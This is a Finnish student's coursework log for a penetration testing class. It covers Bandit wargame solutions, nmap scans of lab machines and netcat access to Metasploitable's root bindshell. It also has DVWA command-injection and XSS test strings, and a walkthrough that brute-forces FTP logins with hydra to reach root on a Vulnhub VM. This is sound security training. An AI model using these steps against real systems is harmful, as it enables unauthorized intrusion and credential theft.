0. Alkutesti 1. Vuohi ja tappoketju 2. Turbo boosted 3. Attaaack! 4. Tiedustelua 5. Script kiddie 6. Final Countdown
Tunkeutumistestaus
Penetration Testing Course 2022 - Tunkeutumistestaus ict4tn027-3007 - 2022p4.
Haaga-Helia ammattikorkeakoulu
ICT4TN027-3007
Opettajana: Tero Karvinen.
H0, Alkutesti
Tehtävät:
Tehtävä 1Sieppaa ja analysoi (omaa) verkkoliikennettä.
Harjoituksessa käytetty välineistö:
Lenovo L580, 2018
- Prosessori: Intel Core i7-8550U
- Muisti: 16GB
- Käyttöjärjestelmä: Windows 10 Pro, 64bit, build 19044
Oracle VM VirtualBox, version 6.1.32
kali-linux-2021.4a-amd64
- Ram: 4GB
- Cores: 2
Tehtävä 1, 28.4.2022
Sieppaa ja analysoi (omaa) verkkoliikennettä ja tee raportista weppisivu,
tai
Kirjoita ohjelma, joka kertoo tietoja kohdekoneesta ja tee tuolle ohjelmalle weppisivu
Wireshark
Sieppaan ja analysoin verkkoliikennettäni käyttämällä Wireshark ohjelmaa.
$ wireshark
Avasin selaimen ja kävin parilla sivulla, jotta saan hieman liikennettä luotua. Lopetin pakettien keräämisen painamalla vasemmassa ylälaidassa olevaa punaista neliötä.
No: Juokseva rivinumero
Time: Kuinka monta sekunttia on kulunut pakettien sieppaamisen aloittamisesta.
Source: Pakettien lähtöpaikka, esimerkiksi 10.0.3.15 on tämä kyseinen tietokone.
Lenght: Paketin koko tavuina
Info: Tietoa sisällöstä, kuvassa näkyy 3way handshake tämän tietokoneen ja palvelimen välillä: SYN, SYN-ACK ja ACK paketit. Jolla muodostetaan yhteys koneiden välille.
Valitsemalla paketin jota haluamme tutkia lähemmin näemme myös hieman lisää tietoa, esimerkiksi lähtö ja määränpään porttinumeron. Täältä löytyy myös tietoa esimerkiksi käytetystä selaimesta ja käyttöjärjestelmästä.
H1, Vuohi, tappoketju ja pimeän verkon päiväkirjat
Tehtävät:
Tehtävä ZLue ja tiivistä:
- Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains Abstract sekä kappaleet 3.2 Intrusion Kill Chain ja 3.3 Courses of Action.
- Darknet Diaries podcast, vapaavalintainen jakso.
Tehtävä A
Ratkaise Over The Wire: Bandit viisi ensimmäistä tasoa (0-4).
Tehtävä B
Asenna Kali Linux.
Tehtävä C
Asenna WebGoat, luo paikallinen WebGoat-käyttäjä ja kirjaudu sisään
Tehtävä D
Ratkaise WebGoatista tehtävät:
General
- HTTP Basics
- Developer tools
Tehtävä E
Ratkaise 2021 Challenge.fi:stä yksi tehtävä.
Tehtävä F
TryHackMe tai HackTheBox. Rekisteröidy, lue ja tallenna säännöt, avaa OpenVPN-yhteys, ratkaise yksi tehtävä (tai tehtävän alakohta) jommasta kummasta palvelusta: TryHackMe tai HackTheBox
Tehtävä G
Vapaaehtoinen: Ratkaise OverTheWire: Bandit, tasot 5-10.
Harjoituksessa käytetty välineistö:
Lenovo L580, 2018
- Prosessori: Intel Core i7-8550U
- Muisti: 16GB
- Käyttöjärjestelmä: Windows 10 Pro, 64bit, build 19044
Oracle VM VirtualBox, version 6.1.32
kali-linux-2021.4a-amd64
- Ram: 4GB
- Cores: 2
kali-linux-2022.1-virtualbox-amd64
- Ram: 6GB
- Cores: 2
Tehtävä Z
Lue ja tiivistä. Tässä z-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen ja tiivistelmä riittää). Tiivistämiseen riittää muutama ranskalainen viiva.Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains Abstract sekä kappaleet 3.2 Intrusion Kill Chain ja 3.3 Courses of Action.
Darknet Diaries podcast, vapaavalintainen jakso. Voi kuunnella myös lenkillä, pyykiä viikatessa tms. Siisti koti / kesäkunto kaupan päälle.
Hutchins et al 2011
Advanced Persistent Threat (ATP) - Pitkäaikainen tunkeutumiskampanja joka on kohdistettu valtioihin tai suuryrityksiin.Cyber kill chain - 7kohtainen prosessi jonka avulla voidaan tarkastella hyökkäystä tai oman puolustuksen haavoittuvaisuutta. Onnistuminen vaatii ketjun jokaisen osan onnistumista, muuten ketju katkeaa ja haluttuun lopputulokseen ei päästä.
Reconnaissance
Weaponization
Delivery
Exploitation
Installation
Command and control
Actions on objective
DARKNET DIARIES: EP 6: THE BEIRUT BANK JOB
https://darknetdiaries.com/episode/6/Tässä jaksossa Jayson kertoo fyysisestä tunkeutumistestauksesta pankkimaailmassa ja miten helppoa se on. Yksi tarinan käsittelee sitä, kun hän tunkeutui vahingossa väärään pankkiin maassa jossa vankilat eivät aina yllä länsimaiseen standardiin. Jakson sivuilla on myös useita kuvia siitä kun hän on sisällä pankin tiloissa, jotka kannattaa katsoa mikäli tarinan kuuntelee.
Youtubesta löytyy n.10 minuutin pätkä jossa hän kertoo samaisesta keikasta, noin. kohdasta 7:00 eteenpäin
Youtube: BREAKING in BAD (I'm the one who doesn't knock) - Jayson Street
Tehtävä A
Ratkaise Over The Wire: Bandit viisi ensimmäistä tasoa (0-4).
Bandit 0-4
Olen nämä aikaisemmalla kurssilla tehnyt, Data Security Exercise 1A, joten tein tilalle vapaaehtoisen tehtävän G: Bandit tasot 5-10Tehtävä B
Asenna Kali Linux.
Kalin lataus ja asennus 30.3.2022
Latasin VirtualBoxiin menevän valmiin paketin kalin sivuilta, https://www.kali.org/get-kali/#kali-virtual-machines, ladattu paketti oli: kali-linux-2022.1-virtualbox-amd64.ova
Tehtävä C
Asenna WebGoat, luo paikallinen WebGoat-käyttäjä ja kirjaudu sisään
Webgoat
Asennettu aikaisemmalla kurssilla Data Security, Exercise 1CTehtävä D
Ratkaise WebGoatista tehtävätGeneral
- HTTP Basics
- Developer tools
HTTP Basics ja Developer tools
Tehty aikaisemmalla kurssilla data security exercise 1dTein tilalle Generalin alta 'CIA Triad' tehtävän.
CIA Triad
Confidentiality, Luottamuksellisuus - Tieto on ainoastaan niiden ihmisten luettavissa ja muokattavissa joilla on siihen oikeus.Integrity, Eheys - Tieto on paikkaansa pitävää eikä sisällä virheitä.
Availability, Saatavuus - Tieto on saatavilla.
Tehtävä E
Ratkaise 2021 Challenge.fi:stä yksi tehtävä, esim. 2021 Where was this picture taken, Encoding basics.
Challenge.fi
2021 versio ei näytä onko vastaus oikein tai väärin, joten tein 2022 versioon tehtäviä.
Antagonist's artistic ancestor 30.3.2022
Never roll your own crypto? 30.3.2022
Tehtävä F
TryHackMe tai HackTheBox. Rekisteröidy, lue ja tallenna säännöt, avaa OpenVPN-yhteys, ratkaise yksi tehtävä (tai tehtävän alakohta) jommasta kummasta palvelusta: TryHackMe tai HackTheBox
OpenVPN HackTheBox. 30.3.2022
Sisäänkirjautumisen jälkeen painan oikeassa yläkulmassa olevaa "CONNECT TO HTB" valikkoa. Tässä tapauksessa yhdistetään 'Starting Point' koneeseen, joten valitsen sen.$ sudo openvpn starting_point_338440.ovpn
HackTheBoxin sivuilta näen että olen 'ONLINE'.
Meow. 30.3.2022
'Starting Point' koneet löytyy 'Labs' valikon alta. Valitsen 'Starting Point'.$ ping -c2 10.129.151.142
Tehtävä G
Vapaaehtoinen: Ratkaise OverTheWire: Bandit, tasot 5-10.
Bandit 5->6. 30.3.2022
The password for the next level is stored in a file somewhere under the inhere directory and has all of the following properties:human-readable
1033 bytes in size
not executable
Käytän find komentoa ja lippua -size ja annan tiedoston koon.
$ find /home/bandit5/inhere/ -size 1033c
Bandit 6->7. 30.3.2022
The password for the next level is stored somewhere on the server and has all of the following properties:owned by user bandit7
owned by group bandit6
33 bytes in size
Sama komento, enemmän lippuja.
$ find / -size 33c -group bandit6 -user bandit7
Bandit 7->8. 30.3.2022
The password for the next level is stored in the file data.txt next to the word millionth
Haen tiedostosta rivin jossa sana millionth
$ grep -A 0 millionth data.txt
Bandit 8->9. 30.3.2022
The password for the next level is stored in the file data.txt and is the only line of text that occurs only once
Uniq komennon man sivuilta pieni muistutus miten se toimii.
$ man uniq
$ sort data.txt | uniq -u
Bandit 9->10. 30.3.2022
The password for the next level is stored in the file data.txt in one of the few human-readable strings, preceded by several '=' characters.
Katsotaan miten string komento toimii.
$ man strings
Käytän myös greppiä, niin tulostus on hieman lyhempi ja tulostaa vain ne rivit jotka sisältää merkit ==.
$ strings data.txt | grep "=="
H2, Turbo boosted
Tehtävät:
Tehtävä ZLue ja tiivistä.
- OWASP 10 A03:2021 - Injection.
Tehtävä A
Ratkaise SQLZoo:sta:
- 0 SELECT basics
- 2 SELECT from World kohdat 1-4.
Tehtävä B
Ratkaise WebGoatista:
- A1 Injection (intro).
Tehtävä C
Asenna Metasploitable 2 samaan verkkoon Kalin kanssa. Katso, ettei haavoittuva Metasploitable 2 näy Internetiin.
Tehtävä D
Nauhoita kaikki konsolissa annetut asiat ja näkyvät tulosteet koko tehtävästä.
Tehtävä E
Ennenkuin aloitat skannaukset, kokeile, ettei Kali pääse nettiin 'ping 8.8.8.8' vastaa "Network is unreachable".
Tehtävä F
Etsi Metasploitable 2 verkkoskannauksella. Sitten ping sweep (nmap -sn). Analysoi tulokset, eli selitä, mitä mikäkin asia tulosteessa tarkoittaa. Mitä päättelet eri koneista?
Tehtävä G
Porttiskannaa 1000 tavallisinta porttia löydetyistä koneista. Selitä ja analysoi tulokset. Mikä koneista voisi olla Metasploitable 2?
Tehtävä H
Porttiskannaa Metasploitable 2 perusteellisesti. Selitä ja analysoi tulokset. Selitä kustakin avoimesta portista, mikä palvelu siinä on / mihin se on tarkoitettu, onko se tavallisesti näkyvissä Internetiin ja onko se nykyiaikainen. Voit myös arvioida, onko versio päivitetty.
Tehtävä I
Mitä löytyy portista 1524/tcp? Kokeile netcattilla 'nc'.
Tehtävä J
Etsi Metasploitable 2 weppipalvelin. Tee paikallinen tunnus DVWA Damn Vulnerable Web App -ohjelmaan. Aseta vasemman reunan palkista "DVWA Security" Low.
Tehtävä K
Ratkaise DVWA "Command Excution". ("DVWA Security" on paras olla "Low").
Tehtävä L
Asenna jokin kone Vulnhub:ista samaan Internetistä eristettyyn verkkoon Kalin kanssa.
Tehtävä M
Skannaa Vulnhubista hakemasi kone, ja analysoi tulokset.
Tehtävä O
Vapaaehtoinen: Murtaudu Vulnhubista lataamaasi kuvaan.
Tehtävä Q
Vapaaehtoinen: Jatka HackTheBoxin parissa.
Harjoituksissa käytetty välineistö:
Lenovo L580, 2018
- Prosessori: Intel Core i7-8550U
- Muisti: 16GB
- Käyttöjärjestelmä: Windows 10 Pro, 64bit, build 19044
Oracle VM VirtualBox, version 6.1.32
kali-linux-2022.1-virtualbox-amd64
- Ram: 6GB
- Cores: 2
Tehtävä Z
Lue ja tiivistä. Tässä z-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen ja tiivistelmä riittää). Tiivistämiseen riittää muutama ranskalainen viiva.
OWASP 10 A03:2021 - Injection
Käyttäjän syöttämä tieto tulee aina tarkistaa tai filtteröidä, sitä ei tule ajaa suoraan tulkissa.Tunnetuimman ovat SQL ja XSS.
Tehtävä A
SELECT * FROM student. Ratkaise SQLZoo:sta: 0 SELECT basics, 2 SELECT from World kohdat 1-4.
0 SELECT basics
Tehty aikaisemmalla kurssilla Data Security, Exercise 2A2 SELECT from World
Tehty aikaisemmalla kurssilla Data Security, Exercise 2ATehtävä B
Ratkaise WebGoatista: A1 Injection (intro).
A1 Injection (intro)
Tehty aikaisemmalla kurssilla Data Security, Exercise 2BTehtävä C
Nyrkkeilysäkki. Asenna Metasploitable 2 samaan verkkoon Kalin kanssa. Katso, ettei haavoittuva Metasploitable 2 näy Internetiin.
Metasploitable 2
Tehty aikaisemmalla kurssilla Data Security, Exercise 4B. Käytän näissä tehtävissä samaa asennusta.Tehtävä D
Nauhalle. Nauhoita kaikki konsolissa annetut asiat ja näkyvät tulosteet koko tehtävästä. (esim script)
Nauhalle
Lokit löytyvät linkkeinä tehtävien yhteydessä.Edit: Tuloste on hieman sekavan näköinen, tällähetkellä ei siis ole tarjolla lokeja
M^[[0m^[[27m^[[24m^[[J^[[32m┌──(^[[1m^[[32m^[[34mkali㉿kali^[[0m^[[34m^[[32m)-[^[[1m^[[32m^[[39m~^[[0m^[[32m]
└─^[[1m^[[32m^[[34m$^[[0m^[[34m^[[39m ^[[K^[[?1h^[=^[[?2004h^[[32mftp^[[39m 10.10.10.6^[[14D^[[32mh^[[32my^[[32md^[[32mr^[[32ma^[[39m ^[[35m-^[[35ml^[[39m john ^[[35m-P^[>
Tehtävä E
Ei kuulu! Ennenkuin aloitat skannaukset, kokeile, ettei Kali pääse nettiin 'ping 8.8.8.8' vastaa "Network is unreachable".
Kuuluuko?
8.8.8.8 on googlen DNS palvelin,
$ ping 8.8.8.8
On hyvä varmistaa toiselta koneelta että onko 8.8.8.8 ylipäätään saatavilla. On mahdollista että se ei vastaisi, mutta kone olisi kuitenkin julkisessa verkossa:
Tehtävä F
Piilosilla. Etsi Metasploitable 2 verkkoskannauksella. Tarkista ensin, että osoitteet ovat uskottavia (ipcalc 10.0.0.1/23). Sitten ping sweep (nmap -sn). Analysoi tulokset, eli selitä, mitä mikäkin asia tulosteessa tarkoittaa. Mitä päättelet eri koneista?
Mitä verkosta löytyy
$ nmap -sn 10.10.10.0/24
-sn - ei skannaa portteja.
10.10.10.3 - Tuntematon
10.10.10.5 - Tämä kone
10.10.10.6 - Tuntematon
Tästä listauksesta en pystyisi sanomaan mikä laite 10.10.10.3 on.
Tehtävä G
Kilo. Porttiskannaa 1000 tavallisinta porttia löydetyistä koneista. Selitä ja analysoi tulokset. Mikä koneista voisi olla Metasploitable 2?
Skannausta
$ nmap 10.10.10.3
$ nmap 10.10.10.6
Tehtävä H
Ja tiskiallas. Porttiskannaa Metasploitable 2 perusteellisesti. Selitä ja analysoi tulokset. Selitä kustakin avoimesta portista, mikä palvelu siinä on / mihin se on tarkoitettu, onko se tavallisesti näkyvissä Internetiin ja onko se nykyiaikainen. Voit myös arvioida, onko versio päivitetty.
Nmap Metasploitable
Tehty aikaisemmalla kurssilla Data Security, Exercise 4E. Tuo listaus on mielestäni hyvä enkä näe tarvetta tehdä siitä vielä pidempää.Tehtävä I
Ovi jäi auki. Mitä löytyy portista 1524/tcp? Kokeile netcattilla 'nc'.
1524/tcp
Katsotaan mitä tuon portin takaa löytyy:
$ sudo nmap -sV -p 1524 10.10.10.3
-sV - Version tunnistus.
-p - Vain tietty portti.
Vastaus:
1524/tcp open bindshell Metasploitable root shell
Katsotaan miten netcat toimii.
$ man netcat
Peruskäyttö on hyvin helppoa:
In the simplest usage, "nc host port" creates a TCP connection to the given port on the given target host.
$ nc 10.10.10.3 1524
Sehän kävi helposti.
Tehtävä J
Darn Low Security. Etsi Metasploitable 2 weppipalvelin. Tee paikallinen tunnus DVWA Damn Vulnerable Web App -ohjelmaan. Aseta vasemman reunan palkista "DVWA Security" Low.
Damn Vulnerable Web App
Metasploitablen etusivu löytyy tietenkin metasploitablen IP osoitteesta, ja valikosta voidaan valita DVWA.Kirjautumistunnukset löytyvän sivun alalaidasta, username'admin' ja password 'password', käytän näitä.
Tehtävä K
Execute! Ratkaise DVWA "Command Excution". ("DVWA Security" on paras olla "Low"
Command Excution
Aloitin tehtävän lukemalla tarjotut linkit ja tekstit. 'View Source' napin alta saamme nähdä PHP ohjelman koodin.$cmd = shell_exec( 'ping ' . $target );
ja tulostaa vastauksen.Toiminta on seuraavanlainen, annetan IP ja painetaan 'submit'.
Tehtävä L
Vapaaehtoinen: Asenna jokin kone Vulnhub:ista samaan Internetistä eristettyyn verkkoon Kalin kanssa.
FUNBOX: LUNCHBREAKER
Valitsin koneeksi FUNBOX: LUNCHBREAKER, kone on "for beginners" ja pitäisi olla helposti murrettavissa. Lisäsin .ova tiedoston VirtualBoxiin samalla tavalla kuin kalin asennustehtävässä, jätin kaikki asetukset oletusasetuksiin.Liitin koneen samaan 'SecNet1' internal network:iin jossa on myös metasploitable2 ja Kali.
Tehtävä M
Vapaaehtoinen: Skannaa Vulnhubista hakemasi kone, ja analysoi tulokset.
Nmap 10.10.10.6
$ sudo nmap -A -p- 10.10.10.6
Portteja on auki kolme.
Portissa 21 on ftp versiolla vsftpd 3.0.3, tämä sallii anonyymin kirjautumisen ja näemmekin suoraan että jotain tiedostoja on julkisesti jaossa.
Portissa 22 on SSH.
Portissa 80 löytyy Apache vesiolla 2.4.41, jolla on nettisivu esillä.
Käyttöjärjestelmänä jonkinlainen Linux.
Tehtävä O
Vapaaehtoinen: Murtaudu Vulnhubista lataamaasi kuvaan.
Lunchbox
Nmap
Aloitan pingaamalla koneen, varmistan että se on paikalla.
$ ping 10.10.10.6
PING 10.10.10.6 (10.10.10.6) 56(84) bytes of data.
64 bytes from 10.10.10.6: icmp_seq=1 ttl=64 time=0.985 ms
64 bytes from 10.10.10.6: icmp_seq=2 ttl=64 time=0.795 ms
Sitten porttiskannaus.
$ sudo nmap -A 10.10.10.6
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 0 0 633 May 22 2021 supers3cr3t
|_drwxr-xr-x 6 1006 1006 4096 May 22 2021 wordpress
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Portteja on auki kolme.
Portissa 21 on ftp versiolla vsftpd 3.0.3, tämä sallii anonyymin kirjautumisen ja näemmekin suoraan että jotain tiedostoja on julkisesti jaossa.
Portissa 22 on SSH.
Portissa 80 löytyy Apache vesiolla 2.4.41, jolla on nettisivu esillä.
Käyttöjärjestelmänä jonkinlainen Linux.
supers3cr3t
FTP mahdollistaa kirjautumisen anonyymina ja se sisältääkin jo jotain mielenkiintoista, supers3cr3t nimisen tiedoston.
$ ftp 10.10.10.6
Käyttäjänimeksi anonymous ja salasana tyhjäksi.
Tiedoston lataus.
ftp> get supers3cr3t
FTP vsftpd 3.0.3
Tarkastan onko tuohon FTP versioon haavoittuvaisuuksia metasploitin avulla.
$ msfconsole
msf6 > search vsftpd 3.0.3
Ei löytynyt.
Koneella on Apache portissa 80, eli nettisivut pitäsi löytyä. Katsotaan.
Sivu sisälsi vain kuvan, mutta html koodissa oli mahdollinen käyttäjätunnus, jane.
dirb http://10.10.10.6
Jane
Tässä vaiheessa minulla on yksi käyttäjätunnus, mutta ei salasanaa tai muuta reittiä jota edetä. Joten yritän murtaa janen salasana hydralla, lista 'coll14' on jonkunlainen rockyou muunnelma joka minulla on ladattuna.
$ hydra -l jane -P /usr/share/wordlist/coll14.txt 10.10.10.6 ftp
Löytyi salasana:
[21][ftp] host: 10.10.10.6 login: jane password: password
$ ftp 10.10.10.6
jim, john, jules
Laitoin hydran pyörimään ja salasana löytyi käyttäjälle jim.
$ hydra -l jim -P /usr/share/wordlist/coll14.txt 10.10.10.6 ftp
[21][ftp] host: 10.10.10.6 login: jim password: 12345
Kirjauub sisään Jimin FTP:lle.
.ssh kansiosta löytyi public key, en näe sille nyt hyötyä. Muuta kiinnostaavaa ei löydy.
Annoin hydran pyöriä n.15minuuttia ilman tulosta, en usko että tässä on tarkoitus löytää salasanaa tälle käyttäjälle tätä kautta.
Jules
Hydra löysi salasanan käyttäjälle jules.
[21][ftp] host: 10.10.10.6 login: jules password: sexylady
Sisään taas FTP:n kautta, Julesilta löytyi .backups kansiosta mielenkiintoisia tiedostoja. .bad-passwds and good-passwds, ladataan kummatkin get komennolla. Kaksi muuta tiedostoa on tyhjiä.
John on ainoa käyttäjä jonne en ole sisään päässyt, toivottavasti jompi kumpi Julesilta ladatuista salasanalistoista toimii, hydralla taas liikenteeseen.
$ hydra -l john -P .good-passwd 10.10.10.6 ftp
Ei tulosta.
$ hydra -l john -P .bad-passwd 10.10.10.6 ftp
Tulos!
[21][ftp] host: 10.10.10.6 login: john password: zhnmju!!!
ROOT
Päätin kirjautua sisään johnin käyttäjälle SSH:n kautta ja kokeilla ROOT oikeuksia sitä kautta, SSH kirjautuminen kun voi olla ROOT:ilta estetty, joten sen kokeileminen voi tuottaa väärää virhettä.
$ ssh john@10.10.10.6
$ su
Annoin ensiksi salasanaksi 'root', ei toiminut, sen jälkeen kokeilin Johnin salasanaa, 'zhnmju!!!' ja se toimi.
Tehtävä Q
Vapaaehtoinen: Jatka HackTheBoxin parissa.
Starting Point
Jatkoin starting point koneiden parissa samalla kun odotin läksyjen julkaisua.
Fawn - FTP
H3, Attaaack!
Tehtävät:
Tehtävä xLue/katso/kuuntele ja tiivistä.
- € Percival & Samancioglu 2020: The Complete Ethical Hacking Course (video): Chapter 21: Cross Site Scripting
OWASP 10 2017:
- A2 Broken Authentication
- A3 Sensitive Data Exposure
- A7 Cross Site Scripting.
- MITRE 2021: ATT&CK Enterprise Matrix.
Tehtävä A
Ratkaise WebGoatista tehtävät:
A2 Broken authentication:
- Authentication bypasses: 2 2FA Password Reset
A3 Sensitive data exposure
- Insecure Login: 2 Let's try
A7 Cross Site Scripting (XSS): Cross site scripting
- 2 What is XSS?
- 7 Try It! Reflected XSS
A8:2013 Request Forgeries:
- Cross-Site Request Forgeries
- 3 "Basic Get CSRF Exercise"
- 4 "Post a review on someone else's behalf".
Harjoituksissa käytetty välineistö:
Asus ROG Zephyrus G14
- Prosessori: AMD Ryzen 9 5900HS
- Muisti: 32GB
- Käyttöjärjestelmä: Windows 10 Pro, 21H1, 64bit, build 19043.1645
Oracle VM VirtualBox, version 6.1.32
kali-linux-2022.1-virtualbox-amd64
- Ram: 6GB
- Cores: 2
Tehtävä X
Lue/katso/kuuntele ja tiivistä. Tässä alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen ja tiivistelmä riittää). Tiivistä ranskalaisilla viivoilla.€ Percival & Samancioglu 2020: The Complete Ethical Hacking Course (video): Chapter 21: Cross Site Scripting (7 videota, noin 25 min)
OWASP 10 2017 (pdf) (pdf) A2 Broken Authentication, A3 Sensitive Data Exposure, A7 Cross Site Scripting. (Poimi kustakin kolmesta hyökkäyksestä, miten ne käytännössä tehdään)
MITRE 2021: ATT&CK Enterprise Matrix . (Selitä tiivistelmässä käsitteet tactic, technique, procedure. Selitä kukin taktiikka (tactic) ja anna kustakin taktiikasta esimerkkitekniikka (technique tai subtechnique).
A2 Broken Authentication
Jos kirjautumisyritysten määrää ei ole rajoitettu, voi hyökkääjä ajaa salasanalistoja läpi ja arvata tuhansia käyttäjänimi/salasana pareja minuutissa, kunnes saa pääsyn järjestelmään. Esimerkiksi oletus käyttäjänimet ja salasanat tulisi aina vaihtaa kaikista laitteista.A3 Sensitive Data Exposure
Jos tiedonsiirto ei ole salattua (esim https->http) voi hyökkääjä kuunella sitä ja tallentaa sen itselleen ja käyttää sitä myöhemmin hyväkseen. Esimerkiksi käyttäjätunnukset ja salasanat tai tärkeitä tiedostoja.A7 Cross Site Scripting
Sivustolle voidaan syöttää koodia joka lähettää käyttäjän tekemät asiat suoraan hyökkääjälle.MITRE 2021: ATT&CK Enterprise Matrix.
TacticMiksi hyökkäys tehdään.
Technique
Miten hyökkäys tehdään.
Subtechnique
Tarkempi tapa miten hyökkäys tehdään.
Procedure
Miten tekniikoita ja alatekniikoita käytetään
Reconnaissance - Search Open Websites/Domains
Tietojen kerääminen avointen lähteiden avulla, esimerkiksi yrityksen kotisivuilta tai työntekijöiden sosiaalisten profiilien kautta.
Resource Development - Establish Accounts
Jos esimerkiksi Facebook-tilillä on historiaa, ystäviä ja muita tietoja, hyväksyt kaveripyynnön todennäköisemmin.
Initial Access - Exploit Public-Facing Application
Etsi heikkouksia järjestelmistä joita voisit käyttää hyökkäyksessä, esim. web-sivuilta.
Execution - Exploitation for Client Execution
Ohjelmistojen heikkouksien hyödyntäminen, vanhat versiot jne...
Persistence - Browser Extensions
Selaimeen ladattavilla haitallisilla laajennuksilla voidaan nähdä kaikki mitä selaimessa tehdään.
Privilege Escalation - Valid Accounts
Olemassa olevien tilien käyttö pääsyn saamiseksi järjestelmään
Defense Evasion - Impair Defenses
Hyökkääjä voi estää tai poistaa käytöstä palomuureja, virustorjuntaa ja ohjelmia jotka tallentavat lokitiedostoja muutoksista järjestelmässä
Credential Access - Brute Force
Brute force hyökkäys käyttää ohjelmia jotka voivat arvata salasanoja niin kauan kunnes oikean löytyy.
Discovery - Account Discovery
Muiden käyttäjätunnusten etsiminen järjestelmän sisältä.
Lateral Movement - Remote Services
Sivittaisliike järjestelmän sisällä päästääkseen laitteeseen jonka kautta voi edetä kohti lopullista kohdetta
Collection - Automated Collection
Automaattisten työkalujen käyttäminen tietojen keräämiseen tiedostotyypin, sijainnin tai nimen perusteella.
Command and Control - Remote Access Software
Etäkäyttöohjelmiston käyttö. Näitä ohjelmia käytetään usein, eikä niiden käyttö herätä huomiota.
Exfiltration - Exfiltration Over Web Service
Datan siirto ulos järjestelmästä käyttäen esimerkiksi google driveä
Impact - Data Encrypted for Impact
Tiedostot voi salata ja avaamisesta pyytää rahaa
Tehtävä A
Vuohen uudet seikkailut. Ratkaise WebGoatista tehtävätA2 Broken authentication:
Authentication bypasses: 2 2FA Password ResetA3 Sensitive data exposure
Insecure Login: 2 Let's tryA7 Cross Site Scripting (XSS): Cross site scripting
2 What is XSS?
7 Try It! Reflected XSSA8:2013 Request Forgeries:
Cross-Site Request Forgeries
3 "Basic Get CSRF Exercise"
4 "Post a review on someone else's behalf".
A2 Broken authentication:
Ensin kirjoitan kenttiin ihan mitä vain ja lähetän. Pääsen tarkastelemaan post pyyntöjä kehittajätyökalujen network välilehdeltä. Sielä löydän "Request payload" kohdan, jonka avulla salaisen kysymyksen vastaus varmennetaan.A3 Sensitive data exposure
Tallensin wiresharkilla liikennettä samalla kun yritin kirjautua sisään, asetin rajoitukseksi POST pyynnöt.A7 Cross Site Scripting (XSS): Cross site scripting
Painamalla f12 selaimessa pääsemme konsoliin ja voimme kirjoittaa JavaScriptiä, koodipätkä tulikin jo tehtävänannossa
javascript:alert(document.cookie);
, käytän siis sitä.Kummankin ikkunan keksit olivat identtiset, kyseessä on siis sama istunto vaikka ikkunoita on kaksi auki.
<script>alert('HelloWorld')</script>
tyylisellä testillä. Kenttä joka toimi on
'credit card number:', tätän kenttään voin käyttää hyökkäyksessä.
H4, Tiedustelua
Tehtävät:
Nmap
Tehtävä ZLue artikkelit ja katso videot, tee kustakin muistiinpanot.
- Santos et al: The Art of Hacking (Video Collection)
- Lyon 2009: Nmap Network Scanning
- Nmap Reference Guide
- man nmap
Tehtävä A
nmap TCP connect scan -sT
Tehtävä B
nmap TCP SYN "used to be stealth" scan, -sS
Tehtävä C
nmap ping sweep -sn
Tehtävä D
nmap don't ping -Pn
Tehtävä E
nmap version detection -sV
Tehtävä F
nmap porttien valinta -p1-100, --top-ports 5, -p-
Tehtävä G
nmap ip-osoitteiden valinta; luettelo, verkkomaskilla 10.10.10.0/24, alku- ja loppuosoitteella 10.10.10.100-130
Tehtävä H
nmap output files -oA foo.
Tehtävä K
nmap ajonaikaiset toiminnot (man nmap: runtime interaction): verbosity v/V, help ?, packet tracing p/P, status s
Tehtävä I
Miten nmap toiminta eroaa, jos sitä ajaa ilman sudoa?
Tehtävä M
nmap, vertaile -sV vs -A kestoa
Tehtävä D
Piiloutuuko nmap-skannaus hyvin palvelimelta? Aja nmap-versioskannaus -sV omaan paikalliseen weppipalvelimeen. Etsi Apachen lokista tätä koskevat rivit.
Vapaaehtoinen lisäkohta: jääkö Apachen lokiin jokin todiste nmap-versioskannauksesta?
Tehtävät UDP
Tehtävä EMitkä ovat tavallisimmat tai kiinnostavimmat palvelut, joita UDP-skannauksella voisi löytää?
Tehtävä F
Miksi UDP-skannaus on hankalaa ja epäluotettavaa? Miksi UDP-skannauksen kanssa kannattaa käyttää --reason flagia?
Aktiivista tiedustelua
Tehtävä HFuff
Tehtävä i
Nikto
Tehtävä J
Pizza fantasia: jokin valitsemasi tiedustelutyökalu
Harjoituksissa käytetty välineistö:
Asus ROG Zephyrus G14
- Prosessori: AMD Ryzen 9 5900HS
- Muisti: 32GB
- Käyttöjärjestelmä: Windows 10 Pro, 21H1, 64bit, build 19043.1645
Oracle VM VirtualBox, version 6.1.32
kali-linux-2022.1-virtualbox-amd64
- Ram: 6GB
- Cores: 2
Tehtävä Z
Lue artikkelit ja katso videot, tee kustakin muistiinpanot (muutama ranskalainen viiva per artikkeli/video). Tässä z-kohdassa ei tarvitse tehdä mitään kokeita koneella.€ Santos et al: The Art of Hacking (Video Collection): [..] 4.3 Surveying Essential Tools for Active Reconnaissance. Sisältää porttiskannauksen. 5 videota, yhteensä noin 20 min.
Lyon 2009: Nmap Network Scanning: Chapter 1. Getting Started with Nmap Suoraan hevosen suusta: Gordon Lyon aka Fyodor Vaskovich on kirjoittanut tuon menestyneen kirjan lisäksi nmapin. Kirja maksaa 40 eur, mutta reiluna kaverina Gordon oli laittanut juuri tähän sopivat luvut ilmaiseksi nettiin.
Silmäile (ei tarvitse lukea kokonaan, 40 liuskaa pitkä): Lyon 2009: Nmap Network Scanning: Chapter 15. Nmap Reference Guide
Port Scanning Basics (opettele, mitä tarkoittavat: open, closed, filtered; muuten vain silmäily)
Port Scanning Techniques (opettele, mitä ovat: -sS -sT -sU; muuten vain silmäily)Silmäile (ei tarvitse lukea kokonaan): man nmap
Santos et al: The Art of Hacking
Passiivinen - Nettisivuilla käyntiAktiivinen - Porttien skannaus
Nmap Network Scanning: Chapter 1
Osio sisälsi tarinoita nmapin käytöstä, tarinat olivat keksittyjä mutta kertoivat hyvin miten nmappia voisi työelämässä käyttää.Port Scanning Basics
Open - Portissa on ohjelma joka vastaa.Closed - Portissa ei ole ohjelmaa joka vastaisi.
